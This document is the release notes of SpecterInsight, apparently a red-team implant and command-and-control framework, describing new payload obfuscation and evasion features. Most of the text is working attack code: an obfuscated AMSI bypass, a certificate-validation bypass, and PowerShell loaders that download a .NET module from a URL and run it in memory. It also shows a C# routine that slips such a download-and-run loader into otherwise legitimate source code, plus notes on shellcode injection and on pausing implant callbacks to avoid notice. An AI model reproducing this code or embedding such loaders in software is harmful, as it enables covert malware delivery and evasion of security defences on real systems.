Overview
This release primarily focuses on improving the SpecterInsight payload pipelines. We rolled out a bunch of new features to improve both our PowerShell and .NET payload pipelines with a focus on evading detection and blending into the environment.
Features
- Payload Pipelines
- Added Filter argument to pwsh function, variable, and string obfuscation cmdlets so that only AST nodes that match one of the provided regular expressions is obfuscated.
- Added PwshCertificateValidationTechnique parameter to each PowerShell payload generator cmdlets to control how validation is handled.
- Get-PwshTrigger cmdlet generates a trigger technique to mitigate sandbox analysis.
- Get-PwshTemplate cmdlet retrieves legitimate PowerShell script from a library of over 100K scripts in order to make a payload look more legitimate.
- Get-PwshFunctionTemplate cmdlet retrieves a function from a library of hundreds of thousands of scripts.
- Obfuscate-PwshConvertToFunction takes in a PowerShell script and converts it to a nicely formatted function.
- Get-PwshCertificateValidationBypass cmdlet generates a PowerShell script to disable SSL/TLS certificate validation.
- Format-PwshWhitespace cmdlet takes in a PowerShell script and normalizes the white space so the script look pretty.
- Format-LineEndings cmdlet normalizes line endings so that they are either all \n or all \r\n.
- Obfuscate-PwshTypeExpressions cmdlet converts type references to strings for later obfuscation.
- Added EncodeJson string obfuscation technique to the Obfuscate-PwshStrings cmdlet.
- Get-ChatGPTResponse cmdlet runs the specified query and returns the results as a string.
- Add-CsLoadModule cmdlet takes in C# source code and inserts a payload to download a .NET module and run it. This allows payloads to be inserted into otherwise legitimate code.
- Get-CsSpecter cmdlet returns the C# source code for the SpecterInsight payload.
- Combine-CsFiles cmdlet takes in several C# source code strings and combines them into one file.
- SpecterScripts
- Added byte array input in Base64 and Hex formats (e.g. 0x1A, 0x49, .., ). This will allow for operators to specify, for example, to copy and paste shellcode from another implant framework into inspector script for process injection.
- Inject-Shellcode cmdlet allows operators to inject the specified shellcode into the target process using any one of the built-in injection techniques.
- Pause-Callbacks cmdlet pauses all callbacks until the specified time elapses.
- Bugs
- Fixed bug where the Cancel button when downloading a payload pipeline left the file handle open, locking the output file.
- Fixed bug where the interactive session window title displayed the incorrect information.
- Fixed bug where the C# Variable obfuscation renames override properties.
- Fixed bug where the C# Variable obfuscation did not handle events correctly.
Screenshots
Filter Argument
The -Filter argument allows operators to select which PowerShell AST nodes will be obfuscated by passing in a set of regular expressions. Only AST nodes that match one or more of the regular expressions will be obfuscated.
This allows operators to tailor their obfuscation techniques so that only the nodes that need to be obfuscated will be modified.
$payload = Get-PwshAmsiBypass -Technique InitFailed;
$payload | Obfuscate-PwshStrings -Technique EncodeJson -IncludeBareWord -Filters @('amsi','http://', 'https://', 'Assembly', 'WebClient', 'CertificateValidator', 'iex', 'Invoke-Expression', 'Invoke-Command', 'icm', 'Add-Type');
function Disconnect-Wwan {
param(
[Parameter(Mandatory = $true, Position = 0)]
[string]$Json
)
$bytes = [System.Convert]::FromBase64String($Json);
$ms = New-Object System.IO.MemoryStream(, $bytes);
$gz = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress);
$sr = New-Object System.IO.StreamReader($gz);
$text = $sr.ReadToEnd();
return $text | ConvertFrom-Json;
}
$instance = Disconnect-Wwan 'H4sIAAAAAAACA6vmUlBQSklSslJQciwuTs1NyqlU0gGJJebkgASDK4tLUnP1fBPzEtNTc1PzSvQcS0vycxNLMvPz9BxzizNDSzJziiFa8vJTUkF6EoHCnnmZJW6JmTmpKUpctQD6+8M8ZQAAAA==';
function Set-Value {
param(
[Parameter(Mandatory = $true)]
[Type]$Type,
[Parameter(Mandatory = $true)]
[string]$Name,
[Parameter(Mandatory = $true)]
[object]$Value
)
$method = "GetField";
$setter = "SetValue";
$field = $Type.$method($Name,"NonPublic,Static");
$field.$setter($null,$Value);
}
if($PSVersionTable.PSVersion.Major -gt 2) {
$Assembly = $instance.db;
$method = "GetType";
$type = [Ref].$Assembly.$method($instance.all);
$name = $instance.node;
Set-Value $type $name $true;
}
Get-PwshTrigger
Get-PwshTemplate
This cmdlet randomly selects a benign, non-malicious PowerShell script that can be used to help obfuscate PowerShell payloads.
Get-PwshTemplate
<#
.SYNOPSIS
Disables the Bing Internet Search when using the search field in the Taskbar or Start Menu.
.DESCRIPTION
Disables the Bing Internet Search when using the search field in the Taskbar or Start Menu.
This is usable on all Windows versions pre and post Windows 2004 release (OS version 10.0.19041).
.NOTES
Boxstarter (https://boxstarter.org) (c) 2018 Chocolatey Software, Inc, 2012 - 2018 Matt Wrock.
.LINK
https://boxstarter.org
https://www.privateinternetaccess.com/forum/discussion/18301/how-to-uninstall-core-apps-in-windows-10-and-miscellaneous
https://www.lifehacker.com.au/2020/06/how-to-disable-bing-search-in-windows-10s-start-menu-2/
#>
function Disable-BingSearch {
[CmdletBinding()]
Param()
$path = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Search'
$windows2004AndLaterPath = 'HKCU:\Software\Policies\Microsoft\Windows\Explorer'
$windows2004Version = '10.0.19041'
$osVersion = (Get-CimInstance -ClassName Win32_OperatingSystem).Version
if ([version]$osVersion -ge [version]$windows2004Version) {
if (-not (Test-Path -Path $windows2004AndLaterPath)) {
$null = New-Item -Path $windows2004AndLaterPath
}
$null = New-ItemProperty -Path $windows2004AndLaterPath -Name 'DisableSearchBoxSuggestions' -Value 1 -PropertyType 'DWORD'
}
else {
if( -not (Test-Path -Path $path)) {
$null = New-Item -Path $path
}
$null = New-ItemProperty -Path $path -Name "BingSearchEnabled" -Value 0 -PropertyType "DWORD"
}
}
Get-PwshFunctionTemplate
This cmdlet randomly selects one or more benign, non-malicious PowerShell functions that can be used to help obfuscate PowerShell payloads.
Get-PwshFunctionTemplate
Function Find-OutdatedModules {
<#
.SYNOPSIS
Returns a list of modules that are outdated on a system
.PARAMETER Computername
String array of Computers to query
.EXAMPLE
Find-OutdatedModules
.EXAMPLE
Find-OutdatedModules -Computername pc1
.EXAMPLE
Import-CSV C:\temp\pclist.csv | Find-OutdatedModules
#>
[cmdletBinding()]
Param(
[Parameter(Position=0,ValueFromPipeline,ValueFromPipelineByPropertyName)]
[string[]]
$Computername
)
Begin {}
Process {
$Scriptblock = {
Get-InstalledModule |
Select-Object Name, @{Name='Installed';Expression={$_.Version}},
@{Name='Available';Expression={(Find-Module -Name $_.Name).Version}} |
Where-Object {$_.Available -gt $_.Installed}
}
If($Computername){
Invoke-Command -ComputerName $Computername -ScriptBlock $Scriptblock
}
Else {
$Scriptblock.InvokeReturnAsIs()
}
}
End {}
}
Get-PwshCertificateValidationBypass
This cmdlet generates a PowerShell script to bypass certificate validation using a variety of techniques.
Get-PwshCertificateValidationBypass
Add-Type @"
using System;
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
public static class ResourceLocker
{
private static bool ManageGroups(object tempResult, X509Certificate tempArray, X509Chain heightValue, SslPolicyErrors tempFlag)
{
return true;
}
public static void ExportConfiguration()
{
ServicePointManager.ServerCertificateValidationCallback = ResourceLocker.ManageGroups;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType tempData = (SecurityProtocolType)0;
foreach (SecurityProtocolType startDate in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType requestData = tempData | startDate;
try
{
ServicePointManager.SecurityProtocol = requestData;
tempData = requestData;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = tempData;
}
}
"@;
[ResourceLocker]::ExportConfiguration();
Format-PwshWhiteSpace
This cmdlet takes in a PowerShell script and normalizes whitespace to make it prettier.
$code = @"
function Get-RandomString {
param(
[Parameter(Mandatory = $false)]
[int]`$Length = 20
)
`$builder = New-Object System.Text.StringBuilder;
for(`$i = 0; `$i -lt `$Length; `$i++){
`$random = Get-Random -Minimum 97 -Maximum 122;
[void]`$builder.Append([char]`$random);
}
}
Get-RandomString
"@;
$code | Format-PwshWhiteSpace
function Get-RandomString {
param(
[Parameter(Mandatory = False)]
[int]$Length = 20
)
$builder = New-Object System.Text.StringBuilder;
for($i = 0; $i -lt $Length; $i++){
$random = Get-Random -Minimum 97 -Maximum 122;
[void]$builder.Append([char]$random);
}
}
Get-RandomString
Obfuscate-PwshTypeExpressions
Converts the specified type expressions to strings for future obfuscation. This can mitigate signatures for things like System.Reflection.Assembly.
$payload = Get-PwshLoadModuleFromURL -Pipeline 'win_any';
$payload | Obfuscate-PwshTypeExpressions;
$name = [Type]'System.Net.ServicePointManager';
$path = [Type]'System.Reflection.Assembly';
$name::ServerCertificateValidationCallback = { $true }
$client = New-Object System.Net.WebClient;
$contents = $client.DownloadData('http://localhost/static/resources/?build=default&kind=win_any');
if($contents -eq $null) {
exit;
}
$module = $path::Load($contents);
$parameters = [string[]]@();
$module.EntryPoint.Invoke($null, $parameters);
Obfuscate-PwshStrings -Technique EncodeJson
This cmdlet obfuscates the specified strings in the provided PowerShell script. Strings are replaced with expressions that deobfuscate the strings at runtime. The EncodeJson technique embeds all matching strings into a JSON blob, GZip compresses the data, and stores it in the script in a Base64 string. That data is extracted at runtime and each obfuscated string can be referenced via a randomized property of the deserialized JSON object.
$payload = Get-PwshLoadModuleFromURL -Pipeline 'win_any';
$payload | Obfuscate-PwshStrings -Technique EncodeJson;
function Build-Shapeable {
param(
[Parameter(Mandatory = $true, Position = 0)]
[string]$Json
)
$bytes = [System.Convert]::FromBase64String($Json);
$ms = New-Object System.IO.MemoryStream(, $bytes);
$gz = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress);
$sr = New-Object System.IO.StreamReader($gz);
$text = $sr.ReadToEnd();
return $text | ConvertFrom-Json;
}
$uri = Build-Shapeable 'H4sIAAAAAAACAwXBwQqAIAwA0LtfIR667i5InxJLDUdDw21ERP/ee6/zPtjkEH1oqlcE4JGR2xAFUVTKMKsMm7kKrLsRl1Tqgca6nNRLuqlv2J/gvh/qeTOmTAAAAA==';
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$client = New-Object System.Net.WebClient;
$contents = $client.DownloadData($uri.url);
if($contents -eq $null) {
exit;
}
$module = [System.Reflection.Assembly]::Load($contents);
$parameters = [string[]]@();
$module.EntryPoint.Invoke($null, $parameters);
Get-ChatGPTResponse
This cmdlet combines the input and the prompt and submits it to ChatGPT. The response is output in text format. Anything that is piped into the cmdlet is appended to the end of the query.
In the example here, the prompt references the function template that is piped into the Get-ChatGPTResponse.
Get-PwshFunctionTemplate | Get-ChatGPTResponse -Prompt "Clean up this function, generate inline comments, and append a call to this function. Return only the commented function and call in plaintext with no markdown formatting." -ApiKey "REDACTED";
function Get-Provisioned {
[CmdletBinding()]
Param($PreCheck)
# Write to verbose stream
Write-Verbose "[$($MyInvocation.MyCommand)] Checking - V-1098"
# Initialize the results hash table
$Results = @{
VulnID = "V-1098"
RuleID = ""
Details = ""
Comments = ""
Status = "Not_Reviewed"
}
# Look for "ResetLockoutCount" in secEdit property
$raw = $PreCheck.secEdit -match "ResetLockoutCount"
# If "ResetLockoutCount" value found
if($raw.Length -gt 0){
# Convert the second field after '= ' to an integer
[int]$value = $raw -split '= ' | select -Last 1
# Compare $value to 15
if ($value -ge 15) {
$Results.Status = "NotAFinding"
$Results.Details = "Time before lockout is reset is set to $value. See comments for details."
}
else {
$Results.Status = "Open"
$Results.Details = "Time before lockout is reset is NOT set correctly. See comments for details."
}
# Add Secedit.exe output to comments
$Results.Comments = "Secedit.exe reports: $raw"
}
else{
# Update details if no ResetLockoutCount found
$Results.Details = "Value not found in secedit.exe!"
}
# Write check completion to verbose stream
Write-Verbose "[$($MyInvocation.MyCommand)] Completed Checking - V-1098 [$($Results.Status)]"
#Return results hash table
return $Results
}
# Call the function
Get-Provisioned -PreCheck $PreCheck
Add-CsLoadModuleFromURL
This cmdlet adds a .NET loader to the provided C# source code along with a method call statement to trigger the loader. That statement is inserted into the specified method. When triggered the loader will download and run a .NET module from the specified URL or Pipeline.
$code = @"
using System;
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello, World!");
}
}
"@;
$code | Add-CsLoadModuleFromURL -Pipeline 'win_any';
using System;
using System.Net;
using System.Net.Security;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
class Program
{
static void Main(string[] args)
{
CSharpLoadModule3.Loader.Apply();
Console.WriteLine("Hello, World!");
}
}
namespace CSharpLoadModule3
{
internal delegate Assembly LoadModule(byte[] contents);
internal delegate object Invoke(object a, object[] parameters);
public static class Loader
{
public static void Apply()
{
byte[] contents = Loader.DownloadAssembly("http://localhost/static/resources/?build=default&kind=win_any");
if (contents != null)
{
MethodInfo method = Loader.GetMethod(contents);
ParameterInfo[] parameters = method.GetParameters();
object[] args = null;
if (parameters.Length == 1 && parameters[0].ParameterType.Equals(typeof(string[])))
{
args = new object[]
{
new string[0]
};
}
MethodInfo invokeMethod = typeof(MethodInfo).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }, null);
Invoke invoke = (Invoke)Delegate.CreateDelegate(typeof(Invoke), method, invokeMethod);
invoke(null, args);
}
}
private static MethodInfo GetMethod(byte[] binary)
{
MethodInfo method = typeof(Assembly).GetMethod("Load", new Type[] { typeof(byte[]) }, null);
LoadModule load = (LoadModule)Delegate.CreateDelegate(typeof(LoadModule), method);
Assembly assembly = load(binary);
return assembly.EntryPoint;
}
private static byte[] DownloadAssembly(string url)
{
// Ignore SSL certificate errors
ServicePointManager.ServerCertificateValidationCallback += Loader.ServerCertificateValidationCallbackHandler;
ServicePointManager.Expect100Continue = true;
SecurityProtocolType type = (SecurityProtocolType)0;
foreach (SecurityProtocolType option in Enum.GetValues(typeof(SecurityProtocolType)))
{
SecurityProtocolType modified = type | option;
try
{
ServicePointManager.SecurityProtocol = modified;
type = modified;
}
catch
{
}
}
ServicePointManager.SecurityProtocol = type;
// Create a valid user agent string
string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
using (WebClient client = new WebClient())
{
client.Headers.Add("user-agent", userAgent);
return client.DownloadData(url);
}
}
private static bool ServerCertificateValidationCallbackHandler(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
return true;
}
}
}
Inject-Shellcode
Pause-Callbacks
The Pause-Callbacks SpecterScript will block all callbacks from the implant until the specified time or offset. For example, you can tell a specter implant to pause callbacks for 12 hours so that it won’t callback until you come back on shift.
In the example to the right, you can see that the Pause-Callbacks cmdlet paused all callbacks for 5 minutes, overriding the default callback interval of 5 – 10 seconds.